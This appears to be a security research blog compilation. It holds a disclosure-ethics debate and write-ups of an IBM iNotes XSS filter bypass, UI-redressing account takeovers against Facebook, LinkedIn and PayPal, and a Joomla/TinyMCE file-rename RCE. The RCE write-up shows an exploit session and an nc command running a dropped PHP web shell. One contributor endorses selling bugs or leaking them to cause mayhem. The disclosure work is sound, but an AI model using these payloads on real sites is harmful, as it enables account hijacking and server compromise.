Vulnerability Disclosure: what could that new approach look like?

Few weeks ago, Enno Rey published an interesting reflection around vulnerability disclosure blog post discussing how the industry needs to adjust the “traditional” practices for disclosing software defects to vendors. If you haven't read the post, it’s highly recommended as it exemplifies a genuine experience from someone who has been dealing with vulnerabilities for over a decade.

At the end of the post, Enno is suggesting an open debate asking the community “What could that new approach look like?”

It’s just: what could that new approach look like?

Being a multi-author blog composed by security professionals with different backgrounds, interests and opinions, we decided to provide our input to this important discussion.

Luca Carettoni - @_ikki

If you believe in the vision of building a secure Internet, disclosing vulnerabilities to the vendor is evidently a strong requirement. Since the traditional model of reporting defects “for free” has demonstrated its limitations, it’s important that we build a sustainable ecosystem where security researchers can disclosure vulnerabilities, get a decorous compensation and ultimately hand over the bug to the vendor. Bug bounties and few vulnerability brokers that do not rely on the secrecy of the information (e.g. ZDI) are the incentive for disclosing to the vendor, while alleviating the pain of the process. We need to increase those opportunities by having more programs and higher rewards. Even without outbidding the black market, many researchers will prefer this approach for its ethical implications, resulting in a win-win situation.

If the vendor doesn't care (hey Mary!), digital self-defense in the form of full disclosure is a valid alternative, so that the community can work together on creating mitigations and resilient infrastructure in a timely manner. In these situations, Google's 90-day disclosure deadline is an example of a mechanism used to improve industry response times to security bugs.

Michele Orrù - @antisnatchor

Freedom is the key. I’m tired of regulations and compliance to rules imposed by people who are not even in the security industry.  If I find a bug, I want to have the freedom to do whatever I want with it, for instance:  

• Keep it private and use it during legit penetration tests or red team engagements, then report it to the vendor 12 months later because it’s Unholy Christmas time; 
• Sell it just like a PoC, or sit on it to achieve full RCE and then sell it to some broker;  
• Just go Full Disclosure and publish as a fake persona to cause mayhem;  
• Privately report it to the vendor, helping them fixing it, etc. 

Let's say I find a bug in a (defensive) security product. I would never report it to the vendor unless they pay a (very) good amount of money. There are tons of security product vendors who make millions of dollars selling crap that works so-so and most of the time can be owned remotely, effectively becoming a pivot point in the customer’s network. Why should I help them for free to make even more money silently patching bugs in their systems?

Moreover, the annoying stories of people saying “hey, if you release that 0day, the black market will use it!”, or “hey, isn’t that open source hacking tool very dangerous if used by the wrong people?” can be demystified very easily. In my opinion governments use the black market as a resource, if they really need to, like the Italian government uses Mafia(s) to get intel/help in certain circumstances. Moreover, about open source hacking tools (same as vulnerabilities) being dangerous: how they are used is the key here. In fact I see a certain analogy between OSS hacking tools and 0days. If someone use an OSS hacking tool to own a financial institution and he gets caught, would you blame the developers of the tool or the guy who did the hack? Same thing for a 0day, would you blame who found it, who used it, or the vendor? Would you blame Vitaly for discovering and selling the infamous Flash 0day, HackingTeam who weaponized it to “rule-them-all”, or Adobe for caring so little about security?

Truth is, education and knowledge are the keys. If we will be able to teach the new generation how to write secure code, how to do fuzzing during software development and testing and to never blindly trust input, then we would really increase Internet security. If we continue to go down through the path of ignorance and security by obscurity, chaos is nearer.

Luca De Fulgentis - @_daath

Said that full disclosure may not be that ethical in certain circumstances (remember Gobbles' apache-scalp?), I do neither truly believe in what is named “responsible” disclosure. Being “responsible” implies withstanding ethics that, in turn, implies naming things as “right” or “wrong”. Instead my own experience points me to think in term of what simply “works” rather than limiting choices – such as disclosing a bug – on the basis of a dualistic paradigm.

I never really understood the term “ethics”, especially if applied to the real-(security)world. We live in the dark ages of the Internet of Things where we are observing the rise of “ethical white knights”, which are building their fame and glory stealing someone else code or shitting on enemies (of the Internet, of course). While these useless characters only exist because of the “evil” the are trying to banish – and, hopefully, they will get of out scene now that the evil has been heavily hacked – what really makes me suffer is the term “ethical hacking”.

Ethical hacking’s deliverables are often intended as weapons to fuck up or deceive someone: technology or services providers, colleagues, managers and sometimes even customers. And let me say that out there most of the security firms and related professionals blindly accept this perverse “game”, even if they are claiming to be "ethical" or "white-something" - after all, business is business.

Back to the vulnerability disclosure debate, I’m not in the right position to properly identify a model that works, but let me say that it sounds like a NP-complete problem to be solved, and I think I’m not wrong when I’m saying that it can be compared to other well-know issues afflicting mankind.

So the whole topic could be shifted to a completely different level: we had, have and will always have insurmountable constraints, represented by subjects only interested in money, fame or power, that will always mark both the upper and lower bounds of "improvements" - name it, in example, a safer Internet via a robust vulnerability disclosure model. It's the same as the old plain physical world. It’s all the same, only the names will change.

All your (iNotes) emails are belong to me

This post describes a critical bypass of the Active Content Filtering (ACF) mechanism that is implemented in IBM iNotes to avoid the inclusion of malicious HTML tags as part of emails. The bug has been identified during a web application penetration test, and can be exploited to perform stored Cross-Site Scripting (XSS) attacks. The bypass has been successfully verified with IBM iNotes 9 and an official bulletin and fix have been released on August 1st, 2013.

From zero to Domino admin in a matter of hours

Early this spring I have been asked to assess the security of the mail infrastructure owned by a big company here in Italy. Pentesting the Domino/Notes/iNotes ecosystem is nowadays a piece of cake because of the large amount of publicly available documentation, advisories and tools.

If you are interested in testing this kind of infrastructure, I would recommend the following resources.

First of all, Marco Ivaldi's script can be used to automatically download all users' password hashes, together with details about every single account (e.g. name, surname, e-mail address, etc.). By simply accessing the names.nsf web resource, the tool extracts the desired information disclosed by the hidden attribute named HTTPPassword. The extracted hashes can be easily cracked using John The Ripper: William Ghote gave a great talk at BSides Las Vegas 2012 detailing the Lotus Notes password cracking process.

Finally, Penetration from application down to OS - Lotus Domino by Alexandr Polyakov and Lotus Domino: Penetration Through the Controller by Alexey Sintsov complete the picture providing even more details on how to pentest Lotus Domino deployments.

The links above are amazing resources that describe step by step how to easily hack into a mail infrastructure based on IBM solutions. As for my experience, a standard attack pattern to breach the Domino/iNotes infrastructure and access every company's e-mail accounts can be schematized as follow:

1. Identify the location/path of the names.nsf web resource;
2. Identify the user(s) with administrative privileges;
3. Verify the user's password hash disclosure via the HTTPPassword hidden attribute;
4. Get all the administrators' password hashes;
5. Crack the so obtained hashes with John the Ripper;
6. Log into the Domino Web Administrator application and have a drink.

The whole process took less than 30 hours and I can't hide that, at least for this time, this task was as easy as cut and paste of known attacks against an outdated environment. As my pentest objectives were quickly accomplished, I decided to turn my job into a security research session. Because of that, I dedicated the rest of the engagement to verifying the effectiveness of the aforementioned ACF mechanism.

Active Content Filtering (ACF) vulnerability details

The analysis of the filter started with injecting simple and well-known XSS attack vectors, in order to understand the underlying logic and spot potential defects. On the basis of my analysis - that must be considered an incomplete understanding of the filter's internals, based exclusively on black box observations - ACF tries to block malicious HTML tags by both commenting JavaScript code, specified by the <script> tag, and normalizing/filtering tag attributes that could lead to client-side code execution (e.g. by eliminating the onXYZ event handlers, such as onerror or onmouseover). During the engagement, I found that the filtering feature is not properly implemented and allows an attacker to inject arbitrary attributes. In details, what I found is that the ACF is not able to correctly sanitize the sequence of characters src="<. For the sake of clarity, the following attack payload:

<img src="< onerror=alert(1) src=x>

would be transformed in:

<img < onerror=alert(1) src=x>

resulting in the JavaScript alert method execution. Figure 1 shows how the above vector is incorrectly treated and used to set the BodyHtml variable - which contains the mail's HTML body message.

Figure 1 - Bypass of the ACF mechanism and injection of JavaScript code.

Conclusion

The ACF bypass can be effectively abused to perform stored XSS attacks against iNotes users. In a real-world attack scenario, the bug could not only be exploited to perform Session Hijacking but also combined with Cross-Site Request Forgery (CSRF) to add a new e-mails forwarding rule to the victim's iNotes application, thus effectively backdooring the victim's mailbox. 

The following video demonstrates the execution of arbitrary JavaScript thanks to the described vulnerability. Moreover, it shows how the mail preview mechanism, if enabled, implies that the victim is not required to open the message in order to trigger the execution of JavaScript code - greatly reducing the required user iteration: 

Finally, I would like to thank my fellow Sandro Zaccarini and Leonardo Rizzi for providing me the infrastructure to properly investigate this issue, and IBM Product Security Incident Response Team (PSIRT) for their timely responses and professionalism.

UI Redressing against Facebook

In this post, I'm going to discuss a possible attack scenario, targeting the Facebook web application, that could lead to the reset of account passwords in an automated fashion exploiting a UI Redressing issue with the use of a cross-domain extraction technique.

UI Redressing bug, again

 

During my research, I discovered a Facebook's web resource that is not protected by the X-Frame-Options and that includes the fb_dtsg token, which is adopted as an anti-CSRF token (Figure 1). The following is the affected URL:

• http://www.facebook.com/ajax/intl/language_dialog.php

Figure 1 - Facebook's web resource vulnerable to UI Redressing attacks.

The iframe-to-iframe extraction method can be applied here to extract fb_dtsg's value and, consequently, perform a series of Cross-Site Request Forgery attacks against the integrity of the victim's profile data.

The theory behind the Facebook profiles takeover

 

Facebook allows users to add a mobile number that, once certified, can be adopted as username in order to login or reset the account's password. Users can insert their mobile numbers via the Account Settings → Mobile → Add a phone → add your phone number options (Figure 2 and Figure 3): a confirmation code is therefore sent by Facebook's system to the user's mobile phone and it must be inserted (Figure 4) to complete the activation process.

Figure 2 - Users can add their mobile number via the "add your phone number here" link.

Figure 3 - Facebook's form used to add a mobile number.

Figure 4 - A confirmation code is sent to the user's mobile and must be entered to complete the process.

The main issue here is that no password is required to associate the mobile number to the user's profile. Because of this, an attacker may abuse the described UI Redressing vulnerability to steal the fb_dtsg token and register an arbitrary phone number. Despite this, the attacker still needs to insert the confirmation code in order to associate his mobile number. A bit of black magic helps here: the attacker can abuse an SMS to mail mobile application to automatically forward the Facebook text-message (SMS) to an attacker-controlled mail box, thus allowing an hypothetical exploit to fetch the code and complete the insertion process.

The exploit

 

A working Proof of Concept exploit has been developed in order to demonstrate the described attack. We have also shared the code with the Facebook security team. During my experiments, the Android application SMS2Mail has been adopted to forward the Facebook SMS (Figure 5) to the mail box (Figure 6).

Figure 5 - SMS with the Facebook's confirmation code that has been forwarded to the attacker's mail box.

Figure 6 - Facebook confirmation code forwarded to the attacker's mailbox.

The following steps summarize the exploitation phases:

1. The exploit frames the vulnerable resource and allows the victim to play a fake game while performing the cross-domain content extraction;
2. The fb_dtsg anti-CSRF token and the victim's user id are extracted. An HTTP request is forwarded to the Facebook application in order to emulate the attacker-controlled mobile number registration;
3. An text-message (SMS), containing the confirmation code, is sent to the attacker mobile device. An SMS2Mail mobile application is installed on attacker's device and automatically forwards the SMS to an attacker-controlled mail box;
4. The exploit waits for the SMS to be forwarded to the mail box, then extracts the confirmation code and performs a second CSRF attack in order to submit the code itself and complete the mobile number registration.

The attacker's mobile number is now associated with the victim's profile and can be used to reset the account's password. As a matter of fact, Facebook allows users to enter a previously associated mobile number (Figure 7) which is then used to send a reset code (Figure 8).

Figure 7 - Reset password mechanism involving the user's mobile number .

Figure 8 - Facebook's form used to insert the resetting code.

A fully automated Proof of Concept exploit can be downloaded here, while the following video illustrates the described attack:

UI Redressing Mayhem: Identification Attacks and UI Redressing on Google Chrome

Today I'm going to disclose a series of UI Redressing issues that could be exploited in order to extract information that may help an attacker to identify a victim-user whenever anonymity is a critical requirement. Moreover, a new extraction method, which has been successfully applied against Google Chrome, will be presented. Google's web browser disallows cross-origin drag&drop and what I'm introducing here is a completely different approach to achieve the extraction of potentially sensitive data.

Identification Attacks

I found that several world-renowned web applications lack protection of web resources from UI Redressing attacks, thus revealing data that can be abused to disclose a user's identity. An identification attack could be successfully performed by exploiting a UI Redressing flaw affecting web resources that include, for example, the name or the e-mail address of the victim.

A series of vulnerabilities are presented below in order to exemplify some of these attacks. The first issue affects a Google's web application: an authenticated Google user can be attacked by abusing a UI Redressing vulnerability related to the support.google.com domain. As shown in Figure 1, no X-Frame-Options header is adopted, thus allowing the cross-domain extraction of personal data such as:

• Victim's e-mail address;
• Victim's first and last name;
• Victim's profile picture URL.

Figure 1 - Google Support vulnerable to UI redressing attacks.

A Proof of Concept exploit can be downloaded here. The following is a video demonstrating the attack:

Similar vulnerabilities have been found on other popular web applications. The following is a list of identified vulnerable web resources, exposing user's data:

Microsoft Profile (First name, last name, e-mail address, etc - Figure 2)

• https://profile.live.com/home/Services/?view=manage&productid=connectedtoprofile

Figure 2 - Microsoft Profile web resource vulnerable to UI Redressing attacks.

Yahoo! (e-mail address, first name, birth date, sex, etc - Figure 3):

• http://profile.yahoo.com/y/edit/

Figure 3 - Yahoo! web resource vulnerable to UI Redressing attacks.

 

Beyond the iframe-to-iframe extraction method

The Google Chrome web browser seems to have defeated any extraction methods, denying the use of the view-source handler and disallowing cross-origin drag&drop. Despite these adverse conditions, I identified some attack scenarios where a UI Redressing issue could be still performed in order to extract sensitive data. Once again, the method is extremely simple. Instead of a cross-origin drag&drop, the victim is tricked to perform a same-origin action, where the dragged content belongs to a vulnerable web page of the targeted application and the "dropper" is a form (text area, input text field, etc.) located on the same domain. Using a site's functionality that allows publishing externally-facing content, it is still possible to extract information. Under these circumstances, Chrome will not reasonably deny the same-origin drag&drop, thus inducing the victim to involuntary publish sensitive data. As a matter of fact, the attacker is exploiting a subsequent clickjacking vulnerability on the same domain, which causes the publication of the personal information. I refer to this kind of attack chain as a "bridge" that allows the attacker to move sensitive data from being private to public, while remaining on the same domain. Then, the attacker can simply access the (now) public information to obtain the extracted data. It should be outlined that the technique requires two vulnerabilities: a web resources that is not protected by the X-Frame-Options (or uses a weak frame-busting code) and a site's functionality that is affected by clickjacking.

The following list summarizes a series of functionalities that could be abused to extract the sensitive data:

• Forum's post mechanism;
• "comment this item" functionalities;
• Public profile information updating function (or any "update function" that involves public available data - e.g. administrative functions that cause the updating of the web site's content);
• Messaging functionalities (e.g. from the victim to the attacker);

The proposed method has been successfully applied against Google Chrome version 23.0.1271.97, targeting the Amazon web application. Amazon exposes a series of web resources that include user's data - such as the name, e-mail address, mobile number and "address book" details - that are not protected with both X-Frame-Options header or any frame-busting mechanism. As an example, the following vulnerable URL includes Amazon's user first name, last name and e-mail address:

• https://www.amazon.com/gp/css/account/info/view.html?ie=UTF8&ref_=ya_20

A second issue on the comment function - our "bridge" - can be abused to publish the user's information as a comment for an Amazon item (e.g. a book), previously known by the attacker, and whose comments are "monitored". The following steps summarize the exploitation phases:

1. The exploit frames both the vulnerable URL and the comment form of a attacker-chosen Amazon's book;
2. The victim is triggered to drag his data and drop the information to the framed comment form;
3. A clickjacking attack is then performed against the "Post" mechanism, in order to publish the dropped data;
4. At that point the attacker can access all personal details by simply visualizing the submitted comment of the Amazon's item.

The exploit code can be download here, while the following is a video of the described attack:

Update - media coverage: http://threatpost.com/chrome-clickjacking-vulnerability-could-expose-user-information-google-amazon-010213/77358

UI Redressing Mayhem: HttpOnly bypass PayPwn style

In the previous post, a new cross-domain extraction method - affecting the latest version of the Mozilla Firefox browser - has been presented. The iframe-to-iframe technique was successfully used in a UI Redressing attack affecting LinkedIn. Today, I'm introducing an instance of the aforementioned method that involves a known Apache Web Server security issue, in order to steal session cookies that are protected by HttpOnly flag, thus allowing the attacker to perform Session Hijacking attacks. A new attack targeting PayPal systems will be also presented.

CVE-2012-0053: HttpOnly bypass and beyond

In January 2012 - even if the Apache defect was known and exploited for a while - Norman Hippert disclosed CVE-2012-0053 bug affecting the Apache Web Server. The software was not able to correctly restrict an header field information disclosure in case of overlong or malformed HTTP requests. The vulnerability could be effectively combined with a Cross-Site Scripting attack to bypass the protection mechanism introduced by the HttpOnly flag and steal any session token stored as cookies value. Infact, an XSS vector could manipulate the document.cookie object to set an overlong cookie field, and forward a malformed request to the affected Apache Web Server with the intention to trigger the error message and extract the desiderated session cookies. The Apache bug can be abused in a series of attack scenarios such as the following:

• Bypassing HttpOnly flag with a XSS vulnerability on the same domain that is affected by the CVE-2012-0053;
• Bypassing the limitation introduced by cookie path whereas the XSS vulnerability affects a web resources that resides outside the defined path itself;
• Bypassing HttpOnly flag if a XSS vulnerability is found on any subdomains of the host that is affected by the Apache disclosure issue, if exploited in conjunction with a UI Redressing attack - that allows the cross-domain content extraction of the information included in the triggered Apache error message.

It should also be noted that the Apache Web Server is often used as a reverse proxy configuration. As a result, any session object on any server-side technology, could be attacked with the described vectors.

Smashing PayPal for Fun but.. NO Profit

 

During my security research on UI Redressing attacks I found multiple PayPal subdomains (e.g. https://b.stats.paypal.com) affected by the Apache disclosure bug as detailed in Figure 1 and Figure 2.

Figure 1 - HTTP request with the overlong cookie.

Figure 2 - Apache error message with the disclosure of the malformed Cookie header.

Despite in the first instance the bug could appear as useless, I found that the PayPal application - www.paypal.com - delivers the session cookies defining the domain to .paypal.com (Figure 3 and Figure 4).

Figure 3 - Post-authentication cookies delivery.

Figure 4 - Cookies delivered to the personal.paypal.com subdomain.

The highlighted security issues could be abused to attack authenticated PayPal users, implementing the mentioned UI Redressing attacks combined with the cookie disclosure bug. But.. I had a problem: I had no XSS vulnerability on any PayPal web application - not that there're not! I was able to circumnavigate the limitation identifying another vulnerability on a different PayPal subdomain, that allowed me to define a monster cookie with a single HTTP request. As first, please note the following URL:

• https://history.paypal.com/helpcenter/script/pphc_rating.js.jsp?locale=&_dyncharset=UTF-8&countrycode=CA&cmd=_AAAAKKKKKKAAAAKKKKKK[..very long string here...]KKKKKKAAAAKKKKKKAAAAKKKKKK&serverInstance=9002&no_strip= 

As detailed in Figure 5, the navigation of the above URL involves the setting of the cookie named navcmd and then a bit of client-side black magic defines two new cookie fields named s_sess and s_pers (Figure 6) that complete the desiderated malformed HTTP request.

Figure 5 - Cookie defined with attacker-controlled input.

Figure 6 - Final monster cookie.

7350PayPwn

 

The exploitation is now trivial. The following are the logical steps implemented by the Proof of Concept exploit:

1. The exploit triggers the victim to open an under pop (Figure 7) web page that generates the monster cookie - with domain=.paypal.com - involving the history.paypal.com application;
2. The https://b.stats.paypal.com is then framed thus inducing the forward of a malformed HTTP request that triggers the disclosure of the Cookie header, containing the PayPal account's session cookies;
   
3. The malicious page allows the victim to play the d&d game with the extraction of the secret session cookies.

Figure 7 - Pop-under page with the navigation of the monster cookie's generation URL.

The attacker now holds the cookies that can be used to perform a Session Hijacking attack against the victim's PayPal account. A working Proof of Concept has been developed and can be download here. The following is a video that illustrates the described attack:

UI Redressing Mayhem: Firefox 0day and the LeakedIn affair

In the past weeks I worked on UI Redressing exploitation methods. The UI Redressing Mayhem series is going to illustrate the results of my research, presenting 0day exploiting techniques and several vulnerabilities that involve high-profile web applications. Each post of the series will also provide detailed information about the vulnerabilities and techniques, together with working Proof-of-Concept exploits.

The following article will detail a previously unknown Mozilla Firefox  vulnerability that affects the latest version (v.17.0.1) of the Mozilla web browser and allows malicious users to perform cross-domain extraction of sensitive data via UI Redressing vectors.

It was a dark and stormy night...

My security research on UI Redressing exploitation techniques grounds its roots in a web application penetration test where I was asked to exploit a UI Redressing bug with the explicit constraints to target Mozilla Firefox users. My objective was to achieve the cross-domain content extraction of an anti-CSRF token, in order to trigger the update of the victim's profile e-mail address: the powerful double drag&drop method was found to be appropriate in that context. To the best of my knowledge, the method was first introduced by Ahamed Nafeez and is based on the possibility to perform a drag&drop action between a framed web page, which displays the "sensitive" contents and is not protected by the X-Frame-Options header, and the framing page (the "dropper" page), which receives and stores the extracted content. The view-source handler is used here to bypass any framebusting code.

The main problem with my exploit development, during the penetration test, was that the drag&drop method was recently killed by Mozilla. An interesting solution to the Mozilla fix is the fake CAPTCHA method that was introduced by Krzysztof Kotowicz — and demonstrated to be effective against Facebook and Google eBookstore — but I chose the hard way and tried to bring the drag&drop method back to the masses: so please welcome the iframe-to-iframe cross-domain extraction method.

The iframe-to-iframe extraction method

The extraction method is extremely simple: instead of performing a drag&drop action of sensitive data, from a framed vulnerable web page to the framing one (attacker-controlled), the victim is tricked to visit a malicious html page that includes two iframes: the vulnerable page - where the sensitive content resides - and another attacker's page that is used to drop the extracted content (Figure 1). Firefox is not able to block this kind of attack because no check on cross-domain drag&drop between iframes is performed. As mentioned before, the method was tested against Mozilla Firefox version 17.0.1 - the latest stable release at the time of writing. The iframe-to-iframe technique was also tested against Google Chrome but the browser has been proved robust to the proposed attack.

Figure 1 - iframe-to-iframe d&d extraction method.

The iframe-to-iframe method re-introduces the possibility to abuse the Firefox drag&drop mechanism to perform a cross-domain data extraction. Let me now introduce an high-profile vulnerability and attack that targets the LinkedIn application implementing the proposed method.

All your LinkedIn accounts are belong to us

LinkedIn implements a stateless anti-CSRF mechanism that associates tokens to the HTTP requests that result in a change of the remote application state, such as the update of a user's profile information (e.g. job title or the login e-mail address). A stateless anti-CSRF method is generally based on a secret token, delivered as a cookie parameter, and a token which is included in every state-changing HTTP request: the remote web application considers as genuine exclusively the HTTP requests that have the same token value for both the cookie and HTTP parameter. Otherwise, a request is considered untrusted and it is not computed. The LinkedIn's anti-CSRF mechanism involves a cookie parameter called JSESSIONID and an HTTP parameter named csrfToken in order to store the secret tokens (Figure 2). A stateless mechanism can be easily bypassed with well known web hacking techniques.

Figure 2 - anti-CSRF tokens.

For example, the attacker could abuse a Cross-Site Scripting issue on both www.linkedin.com or any LinkedIn's subdomains to poison the cookie parameter JSESSIONID and bypass the mechanism — this attack is also known as Cookie Tossing. During my security research I found a vulnerable LinkedIn's page that includes the anti-CSRF token within the HTML code, despite not being protected by the X-Frame-Options header. Under these circumstances, the iframe-to-iframe method can be used to attack authenticated LinkedIn users and steal their secret token in order to perform different kind of malicious actions on the victim's profile. The following URL refers to the LinkedIn vulnerable web resource as detailed in Figure 3:

• http://www.linkedin.com/companies?trk=hb_tab_compy 

Figure 3 - Vulnerable LinkedIn web resource.

The vulnerability can be easily abused to craft a UI Redressing exploit that triggers the victim to drag&drop the anti-CSRF token. The token can then be abused to edit any information on the victim's profile and even to reset the account password. In order to demonstrate the effectiveness of the attack I developed a fully working Proof of Concept exploit that adds the attacker's e-mail as a trusted address to the victim's profile and verifies the e-mail itself. At that point, the attacker can easily reset the victim's password using LinkedIn password reset mechanism.

The following are the logical steps implemented by the Proof of Concept exploit:

1. The malicious page frames both the LinkedIn vulnerable page and the attacker-controlled "dropper" page;
2. The malicious page allows the victim to play the d&d game, which extracts the anti-CSRF token;
3. The malicious page can now bypass the anti-CSRF protection and adds a new e-mail address to the victim's profile. The action involves the forwarding of a confirmation e-mail from LinkedIn system to the attacker box: an activation URL is included;
4. The exploit interacts with an attacker's script — /linkedin/linkedin.php — which accesses the attacker's mail box via IMAP and waits for the Linkedin activation e-mail. Once obtained the e-mail, the URL is returned back to the malicious page, which is still loaded by victim's web browser;
5. The script can now simulate the navigation of the fetched URL in order to confirm the new address.

The attacker can now reset the victim's account password abusing the password reset functionality, where he will type the e-mail address previously added to the targeted profile. Figure 4 highlights the different HTTP requests exchanged between the attacked web browser, the attacker's servers and the LinkedIn web application, in order to achieve the password resetting.

Figure 4 - Sequence diagram detailing the attack.

A working PoC has been developed and can be downloaded here. The following is a video of the attack:

 

Beyond the Mayhem

LinkedIn Team was informed about this attack scenario. The following are a series of suggestions that should prevent this kind of attacks:

• Protect every web resource that includes anti-CSRF tokens with the X-Frame-Options header. Nowadays, this mechanism is available in all major browsers;
• Consider to adopt a stateful anti-CSRF mechanism that should not perform the validation on the basis of potentially attacker-controlled inputs.

MS Access SQL Injection Cheat Sheet Reloaded

SQL Injections are still very popular, for both ethical and unethical attackers.
Although numerous research covering this topic have been published, SQL Injection vulnerabilities in Microsoft Access powered websites didn't receive much attention.

Back in 2007, @_daath published the first MS Access SQL Injection Cheat Sheet. A few years later, NibbleSec decided to update the document in a brand new format. New stuff has been added as well as external resources have been merged.

Enjoy the reloaded MS Access SQL Injection Cheat Sheet

Just press Exploit!

Surfing the web I came across this Core Impact update, and I told myself that I wanted a Joomla-RCE-exploit-copy, too! So, as detailed here, an arbitrary file uploading vulnerability affects TinyMCE 1.41.6. As stated in the advisory, the word arbitrary refers to files whose extensions are not listed in $tinybrowser['prohibited'] array in config_tinybrowser.php :

// Prohibited file extensions
$tinybrowser['prohibited'] = array('php','php3','php4','php5','phtml','asp','aspx','ascx',
'jsp', 'cfm','cfc','pl','bat','exe','dll','reg','cgi','sh',
'py','asa','asax','config','com','inc');

This means that we can't directly upload a dot-php script on the remote host. However, I noticed a delicious "rename" option that only permits to rename files preserving their original extension. Thanks to my trusty Burp Proxy I sniffed some HTTP requests during file renaming and here you are an example. Let's have a look :

POST /joomla/.../edit.php?type=image&folder=aaa%2F HTTP/1.1
Host: 192.168.1.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 132

actionfile%5B0%5D=AAA.png&renameext%5B0%5D=png&
renamefile%5B0%5D=BBB.&action=rename

Ok, you are likely able to spot the problem. Attacker can manipulate the renameext[0] parameter resulting in an arbitrary file renaming. Just rename your AAA.png in AAA.php and get remote access! The next step was to automatically upload files via upload_file.php. The problem here is that the script implements a very rudimental mechanism to prevent direct file uploading. In upload_file.php, we can find this piece of code :

// Check hash is correct (workaround for
// Flash session bug, to stop external form posting)

if($_GET['obfuscate'] !=
md5($_SERVER['DOCUMENT_ROOT'].$tinybrowser['obfuscate'])) {
echo 'Error!'; exit;
}

The amazing token is built hashing the web root path name and the $tinybrowser['obfuscate'] variable's value (set to s0merand0mjunk!!!111 in config_tinybrowser.php). I used this additional vulnerability to get the path name. Obviously, should error messages be switched off, you would use the flash form to upload your images! Ok, that's all, here is the exploit and here is an exploitation session :


daath@shaytan:~$ php pwnoomla.php localhost /joomla

[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]

[#] Attacking localhost:80/joomla/
[+] Web root pathname is : /var/www/
[+] Magic token is a8de65e217ed779dbda80eb04502a2da
[#] Creating remote directory ... DONE
[#] Uploading image ... DONE
[#] Renaming image's extension (takes a while) ... PWNED!
[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php

daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0\n\n" | nc localhost 80
HTTP/1.1 200 OK
Date: Mon, 28 Sep 2009 10:39:43 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php
daath@shaytan:~$


Have phun,
/daath

3, 2, 1... In Mission

Hello Internet,
this is our first post, so stop wondering "who the hell are these NibbleSec guys".
We'll start answering a couple of questions.

• We're not a commercial entity


• We're not a ub3r3l33t black-hat crew


• We're not a new initiative the internet really does not need

NibbleSec is just a label on a team of four friends who live in the Information Security world, and that's it.
We're going to use this blog as a launchpad for some of our researches, publishing tools and insights. There are plenty of similar blogs around the net, so here's our personal version.

We have some nice things in the oven, so stay tuned because we're going to serve a couple of hot dishes in a while!

Oh, we were almost forgetting this one: you might be interested in knowing who's behind NibbleSec.org !?
No problem, here you are: BlackFire, Daath, Ikki and Snagg.

See you soon in the next post!